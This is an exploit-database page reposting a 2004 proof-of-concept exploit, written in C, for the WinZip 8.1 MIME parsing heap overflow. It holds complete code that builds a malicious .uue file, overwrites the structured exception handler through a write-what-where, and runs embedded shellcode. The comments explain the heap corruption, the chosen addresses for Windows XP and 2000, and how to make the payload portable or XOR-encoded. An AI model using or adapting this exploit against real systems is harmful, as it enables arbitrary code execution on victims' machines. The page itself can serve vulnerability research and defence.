Lucene search
K

WinZIP MIME Parsing Overflow Proof of Concept Exploit

🗓️ 15 Apr 2004 00:00:00Reported by snooqType 
zdt
 zdt
🔗 0day.today👁 22 Views

Proof of concept exploit for WinZip MIME Parsing Overflow, tested on specific Windows versions.

Code
=====================================================
WinZIP MIME Parsing Overflow Proof of Concept Exploit 
=====================================================



/*
 *  Author: snooq       
 *  Date: 14 April 2004  
 *
 *  This is a PoC exploit for WinZip32 MIME Parsing Overflow
 *  bug reported by iDefense on 27 February 2004.
 *
 *  The original advisory is found here:
 *  http://www.idefense.com/application/poi/display?id=76
 *
 *  This version is SP dependent becoz my idiotic shellcode
 *  uses hardcoded addresses.... =p 
 *  
 *  So, test it locally only. Afterall, it's just a PoC rite?
 *  Nonetheless, it's possible to make it more portable by 
 *  using a universal shellcode... 
 *
 *  but beware... chars like <>,.:;'"=[]\/ are filtered...
 *  so feel free to XOR it.. =p
 *
 *  Notes
 *  =====
 *  1) Tested against WinZip 8.1 on WinXP SP1, Win2K SP1 only
 *
 *  2) You need to first launch WinZip before you 'Open'
 *
 *  3) Double clicking the 'uue' won't work 
 *     why so? go figure it out urself... =p 
 *     once u know why... u'd then know how to fix it...
 *
 *  Greetz
 *  ======
 *  # eugene, nam, jf, valmont and the rest..
 *  # sk, shashank + Security_Auditors folks...
 *  # iDefense folks... SiG^2 guys etc...
 *  # lastly.. Greg Hoglund for his 'Cross Page' stuffs... =p
 */

/*
 *  A snapshot of the 'crash'
 *  =========================
 *
 *  Our buffer on the heap looks like this:
 *  
 *  [....AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEEEEEEEEEEEEEEE....]
 *  |--- heap grows this way --------->
 *
 *   
 *  and the CPU is about to execute the following code:
 *
 *  0049BFFC  |> 8B4C13 08      MOV ECX,DWORD PTR DS:[EBX+EDX+8]
 *  0049C000  |. 8B7C13 04      MOV EDI,DWORD PTR DS:[EBX+EDX+4]
 *  0049C004  |. 8979 04        MOV DWORD PTR DS:[ECX+4],EDI
 *  0049C007  |. 8B4C13 04      MOV ECX,DWORD PTR DS:[EBX+EDX+4]
 *  0049C00B  |. 8B7C13 08      MOV EDI,DWORD PTR DS:[EBX+EDX+8]
 *  0049C00F  |. 035D F8        ADD EBX,DWORD PTR SS:[EBP-8]
 *  0049C012  |. 8979 08        MOV DWORD PTR DS:[ECX+8],EDI
 *  0049C015  |. 895D F4        MOV DWORD PTR SS:[EBP-C],EBX
 *
 *  and, EBX register seems to be under our control... =p
 *
 *  EDX = ptr to 'DDDD'	
 *  EBX = 'DDDD' - 1		
 *
 *  By carefully choosing a value for EBX, we are able to manipulate
 *  ECX at 0049BFFC and EDI at 0049C000.
 *
 *  If we set 'DDDD'=0xfffffff5 (-11), 
 *  
 *  -> EBX would be '0xfffffff4' (-12)
 *  -> [EBX+EDX+8] becomes [EDX-4] and ECX = 'CCCC'
 *  -> [EBX+EDX+4] becomes [EDX-8] and EDI = 'BBBB'
 *
 *  Effectively at 0049C004, we can write a DWORD 'BBBB' to ['CCCC'+4]
 *  After that.....
 *
 *  -> [EBX+EDX+4] becomes [EDX-8] and ECX = 'BBBB'
 *  -> [EBX+EDX+8] becomes [EDX-4] and EDI = 'CCCC' 
 *  
 *  Finally we reach MOV DWORD PTR DS:['BBBB'+8],'CCCC' at 0049C012..
 *
 *  Choosing the rite values for 'BBBB' + 'CCCC', execution flow could
 *  be reliably diverted into our shellcode.
 *
 *  In this exploit, I've chosen to install our code as the main thread's
 *  top exception handler so that when exception is triggered at 0049C012,
 *  our code will be called to 'handle' it... =p
 *
 *  This is how I did it but I'm not sure if this is the best way.
 *  If you know of any other better way to exploit this.....
 *  pleaseeeeee tell me....... :)
 *
 */

#include <windows.h>
#include <stdlib.h>
#include <stdio.h>

#define TARGET	1
#define NOP	0x90

/*
 * Gap for NOPs (not really needed)
 */
#define PAD	0		

/*
 * This 'RANGE' nonsense was useful
 * in locating the 'index', i.e. 'DDDD'
 */
#define RANGE	1*4		

/*
 * Where we control the 'index',
 * i.e EBX register's value
 */
#define IDXOFF	268-RANGE+4 

/*
 * We find our 'where' + 'what' here...
 */
#define OFFSET	IDXOFF-8	

/*
 * -12 bytes from 'index' into where
 * 'where'+'what' are...
 */
#define INDEX	0xfffffff5	 

#define BSIZE	1024
#define FNAME	"snooq.uue"
#define SSIZE	sizeof(shellcode)-1
#define HSIZE	sizeof(header)-1

char buff[BSIZE];
long where, what;

struct {
	char *os;
	long topSEH;
	long jmpADD;
}

targets[] = {
	{
		"Window XP (en) SP1",
		0x7ffddffe,	// Per Thread Top SEH - 2
		0xf27cffff  // [this address + 4] -> shellcode
	},
	{
		"Window 2000 (en) SP1",
		0x7ffddffe,	// Per Thread Top SEH - 2
		0xf354ffff  // [this address + 4] -> shellcode
	},
}, v;

/*
 * Harmless payload that spawns 'notepad.exe'... =p
 */

char shellcode[]=
	"\x55"					// push ebp 
	"\x8b\xec"				// mov ebp, esp
	"\x33\xf6"				// xor esi, esi
	"\x56"					// push esi
	"\x68\x2e\x65\x78\x65"	// push 'exe.'
	"\x68\x65\x70\x61\x64"	// push 'dape'
	"\x68\x90\x6e\x6f\x74"	// push 'ton'
	"\x46"					// inc esi		
	"\x56"					// push esi
	"\x8d\x7d\xf1"			// lea edi, [ebp-0xf]	
	"\x57"					// push edi		
	"\xb8XXXX"				// mov eax, XXXX -> WinExec()  
	"\xff\xd0"				// call eax
	"\x4e"					// dec esi
	"\x56"					// push esi
	"\xb8YYYY"				// mov eax, YYYY -> ExitProcess()  
	"\xff\xd0";				// call eax

char header[]="Content-Type: multipart/mixed; boundary=";

void err_exit(char *s)
{
	printf("%s\n",s);
	exit(0);
}

void filladdr()
{
	char *ptr;
	int i=0, index=INDEX, idxoff=IDXOFF;

	long addr1=(long)WinExec;
	long addr2=(long)ExitProcess;

	printf("-> WinExec() is at: 0x%08x\n",addr1);
	printf("-> ExitProcess() is at: 0x%08x\n",addr2);

	ptr=shellcode;

	while (*ptr!='\0') {
		if (*((long *)ptr)==0x58585858) {
			printf("-> Filling in WinExec at offset: %d\n",(ptr-shellcode));
			*((long *)ptr)=addr1;
		}
		if (*((long *)ptr)==0x59595959) {
			printf("-> Filling in ExitProcess at offset: %d\n",(ptr-shellcode));
			*((long *)ptr)=addr2;
		}
		ptr++;
	}

	ptr=buff+HSIZE+OFFSET;
	printf("-> 'what' == 0x%08x at offset %d\n",what,OFFSET);
	*((long *)ptr)=what;

	ptr+=4;
	printf("-> 'where' == 0x%08x at offset %d\n",where,OFFSET+4);
	*((long *)ptr)=where-4;

	ptr=buff+HSIZE+idxoff;

	for (;i<RANGE;i+=4) {
		printf("-> 'index' == 0x%08x at offset %d\n",index-i,idxoff+i);
		*((long *)(ptr+i))=index-i;
	}

}

void buildfile() 
{
	int i=0;

	FILE *fd;

	if ((fd=fopen(FNAME,"w"))==NULL) {
		err_exit("-> Failed to generate file...");
	}

	for(;i<sizeof(buff);) {
		fprintf(fd,"%c",buff[i++]);
	}

	fclose(fd);

	printf("-> '%s' generated....\n",FNAME);

}

int main(int argc, char *argv[]) 
{
	int i=0, t=TARGET;

	if (argc==2) { t=atoi(argv[1]); }

	where=targets[t-1].topSEH;
	what=targets[t-1].jmpADD;

	printf("\nWinZip32 MIME Parsing Overflow PoC, By Snooq [[email protected]]\n\n");

	memset(buff,NOP,BSIZE);
	printf("-> Generating 'uue' file for target #%d...\n",t);
	memcpy(buff,header,HSIZE);
	filladdr();
	memcpy(buff+HSIZE+IDXOFF+4+PAD,shellcode,SSIZE);
	buildfile();

	return 0;

}



#  0day.today [2018-03-14]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Apr 2004 00:00Current
6.8Medium risk
Vulners AI Score6.8
22